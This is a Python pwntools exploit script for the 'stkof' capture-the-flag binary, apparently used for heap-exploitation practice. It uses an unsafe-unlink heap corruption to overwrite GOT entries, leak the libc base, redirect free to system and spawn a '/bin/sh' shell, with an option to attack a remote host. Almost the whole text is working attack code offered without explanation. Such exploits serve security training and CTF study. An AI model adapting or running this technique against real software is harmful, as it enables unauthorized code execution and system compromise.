unsafe unlink

#-*- coding: utf-8 -*-
#!/usr/bin/env python
from pwn import *
import binascii
import time
import sys
env = {'LD_PRELOAD' : "/home/jhong/Desktop/libc.so.6"}
 
 
 
 
#Env setting
debug = True
PIE = False
Remote = False
binary_path = "./a679df07a8f3a8d590febad45336d031-stkof"
 
 
 
#binary and dll
elf = ELF(binary_path)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
 
#context(log_level='debug')
context.binary = './a679df07a8f3a8d590febad45336d031-stkof'
 
context.terminal = [ "tmux",'splitw', '-v', '-h', '-l', '90']
 
 
context.update(binary=elf)
 
 
 
if Remote == False:
    s = process(binary_path)
else:
    debug = False
    s = remote("server.com",1802)
 
 
if debug :
    bp_list = [0x400C46, 0x400B7A ]
    bp_str = get_bp_str(s,bp_list)
    print util.proc.pidof(s)
    gdb.attach(s,'''
    %s
    c''' % (bp_str))
 
def malloc(size):
    s.sendline(str(1))
    s.sendline(str(size))
    index = s.recvuntil('\n').replace('\n','')
    log.info('[*] malloc size %d index %d\n'%(size,int(index)))
    s.recvuntil("OK\n")
 
 
def write(index, size, data):
    log.info('[*] write index %d\n'%(index))
    s.sendline(str(2))
    s.sendline(str(index))
    s.sendline(str(size))
    s.send(data)
    s.recvuntil('OK\n')
 
def free(index):
    log.info('[*] free index %d\n'%(index))
    s.sendline(str(3))
    s.sendline(str(index))
    s.recvuntil('OK\n')
 
def puts(index):
    log.info('[*] puts index %d\n'%(index))
    s.sendline(str(4))
    s.sendline(str(index))
    s.recvuntil('OK\n')
 
#0x602150
target = 0x602158
 
plt_puts = elf.plt['puts']
got_free = elf.got['free']
got_atol = elf.got['atol']
got_strlen = elf.got['strlen']
got_printf = elf.got['printf']
 
malloc(0x100)
malloc(0x100)
malloc(0x100)
malloc(0x100)
malloc(0x100)
#malloc(0x100)
 
payload = ""
payload += "b" *0x100
payload += "\x00"*8 + p64(0x111)
payload += '\x00'*8 + p64(0x101)
payload += p64(target-0x18)+ p64(target-0x10)
#payload += "a" * (0x90+0x60)
payload += "a"*(0x100-0x20)
payload += p64(0x100)+p64(0x110)
 
 
write(2,len(payload),payload)
free(4)
 
puts(1)
#payload  = "\x11"*8
payload  = "\x11"*8
 
payload += p64(got_strlen)
payload += p64(got_printf)
write(3,len(payload),payload)
 
 
write(1,8, p64(plt_puts))
write(2,1,'1')
 
 
log.info('[*] free_leak\n')
s.sendline(str(4))
s.sendline(str(2))
 
printf_got = u64(s.recv(6)+"\x00\x00")
log.info('[*] printf_got : 0x%x\n'%printf_got)
 
libc_base = printf_got - libc.symbols['printf'] - 49
log.info('[*] libc_base : 0x%x\n'%libc_base)
 
libc_system = libc_base + libc.symbols['system']
log.info('[*] libc_system : 0x%x\n'%libc_system)
#free(1)
 
 
 
# change free got to system got
payload = ""
payload += "a"*8
payload +=p64(got_free)
write(3, len(payload),payload)
write(1,8,p64(libc_system))
 
 
################## call system
write(5,len("/bin/sh\x00"),"/bin/sh\x00")
 
free(5)
 
 
 
 
s.interactive()